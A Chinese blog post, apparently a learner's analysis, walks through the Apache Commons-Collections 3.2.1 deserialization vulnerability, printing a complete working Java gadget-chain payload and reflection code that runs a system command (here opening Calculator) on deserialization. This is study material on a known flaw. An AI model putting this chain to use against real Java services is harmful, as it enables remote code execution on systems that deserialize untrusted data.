Apache Commons-Collections-3.2.1 反序列化漏洞浅析
最近在学java,当然少不了去学习大名鼎鼎的java反序列化漏洞。
一通搜索然后阅读各种大牛的文章找到如下payload
import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class Main3 { public static Object Reverse_Payload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload(),"obj"); payloadTest("obj"); } public static void GeneratePayload(Object instance, String file) throws Exception { //将构造好的payload序列化后写入文件中 File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //读取写入的payload,并进行反序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
主函数首先通过GeneratePayload将Reverse_Payload()方法返回的Object进行序列化,然后通过payloadTest反序列化,在反序列化时候执行了open /Applications/Calculator.app命令打开了计算器。
进入Reverse_Payload方法,首先创建了一个Transformer类型的数组,进入org/apache/commons/collections/Transformer.java,发现是个接口传入Object返回Object
接着看payload用到的ConstantTransformer、InvokerTransformer、ChainedTransformer类才发现transformer的重要性
ConstantTransformer、InvokerTransformer、ChainedTransformer都实现了transformer接口方法,最终实现的命令执行也是由于transformer导致
ConstantTransformer通过transformer调用Runtime类,InvokerTransformer通过transformer调用getRuntime、exec方法,ChainedTransformer则是存入实例化的ConstantTransformer、InvokerTransformer,并通过transformer实现执行存入的ConstantTransformer、InvokerTransformer它们各自的transformer。
ConstantTransformer的构造方法与transform方法如下:
构造方法传入Object,transfrom返回Object。payload中的new ConstantTransformer(Runtime.class)则相当于 Object object = Runtime.class;
接着看InvokerTransformer,构造方法与transform方法如下:
构造方法传入三个值(iMethodName = methodName; iParamTypes = paramTypes; iArgs = args;),tranform方法默认接受一个Object,而这个Object就是之前加载的Runtime,接着getClass()重新get到Runtime,然后是反射的getMethod方法getMethod(iMethodName, iParamTypes),所以iMethodName传方法名,iParamTypes传method方法的参数类型数组,iArgs则是用于方法的参数
为了理解InvokerTransformer类在paylaod中的作用将其所用方法取出写了一遍:
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Test2 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { // 1.new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), String iMethodName = "getMethod"; Class[] iParamTypes = new Class[]{String.class, Class[].class}; Object[] iArgs = new Object[]{"getRuntime", new Class[0]}; Object inputObject = Runtime.class; Class cls = inputObject.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); Object outputObject = method.invoke(inputObject, iArgs); // 2.new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), String iMethodName2 = "invoke"; Class[] iParamTypes2 = new Class[]{Object.class, Object[].class}; Object[] iArgs2 = new Object[]{null, new Object[0]}; Object inputObject2 = outputObject; Class cls2 = inputObject2.getClass(); Method method2 = cls2.getMethod(iMethodName2, iParamTypes2); Object outputObject2 = method2.invoke(inputObject2, iArgs2); // 3.new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) }; String iMethodName3 = "exec"; Class[] iParamTypes3 = new Class[]{String.class}; Object[] iArgs3 = new Object[]{"open /Applications/Calculator.app"}; Object inputObject3 = outputObject2; Class cls3 = inputObject3.getClass(); Method method3 = cls3.getMethod(iMethodName3, iParamTypes3); Object outputObject3 = method3.invoke(inputObject3, iArgs3); } }
值得注意的是这里getMethod传入的iMethodName也是getMethod,之所以不能直接传getRuntime是因为InvokerTransformer的tranform方法对传入的Object进行了getClass(),相当于Runtime.class.getClass(),Runtime.class获得的是class java.lang.Runtime,Runtime.class.getClass()则是class java.lang.Class
为了理解这里的getMethod("getMethod"),写了如下代码:
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Object object = Runtime.class.getClass().getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}); Object object2 = object.getClass().getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(object, new Object[]{null, new Object[0]}); for (Method i : object.getClass().getMethods()) { System.out.println(i); } System.out.println("~~~~~"); for (Method i : object2.getClass().getMethods()) { System.out.println(i); } System.out.println("~~~~~"); for (Method i : Runtime.class.getMethods()) { System.out.println(i); } System.out.println("~~~~~"); System.out.println(Runtime.class.getMethod("getRuntime")); System.out.println(object2.getClass().getMethod("getRuntime")); }
接着看ChainedTransformer,构造方法与transform方法如下:
transform方法依次执行数组类各个对象的transform方法
调用ChainedTransformer的transform方法运行即可执行所设系统命令,代码如下:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open ."}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(new Object());
开始觉得这么写写复杂了,直接传入Runtime.getRuntime()来避免getMethod("getMethod"),然而Runtime.getRuntime()是无法序列化的T,T
public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"})}; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(new Object()); }
继续按照payload代码往下跟进
后面实际上要做的就是在反序列化时候触发transform方法实现命令执行,实际调用链是:
AnnotationInvocationHandler -> readObject() -> AbstractInputCheckedMapDecorator ->setValue() ->TransformedMap -> checkSetValue() -> transform()
具体情况懒得分析了
标签: 反序列化漏洞
你是衣冠楚楚的人 而我只是一个打满补丁的猴子
-
小博客一个,没必要伤害她
热门文章
存档
标签
最新评论
- yz
想想你喜欢什么,想做什么,找好一个自己的... - 小屿
@Jahan:testfun1024#p... - Jahan
Hello dear Xia0 i a... - brave
@万:你的手机应该是anroid7.0以... - jhsy
新版的cookie机制应该又变了. 而且... - 小屿
@janto:无兴趣 - janto
新版的这些好像不起作用了,deviceI... - hunk
正在研究,可否发一份新源码?todz$1... - miffy
请问可以加个好友咨询下吗? - vegetableChicken
@Snkrs:我也遇到和你一样的问题了,...
发表评论: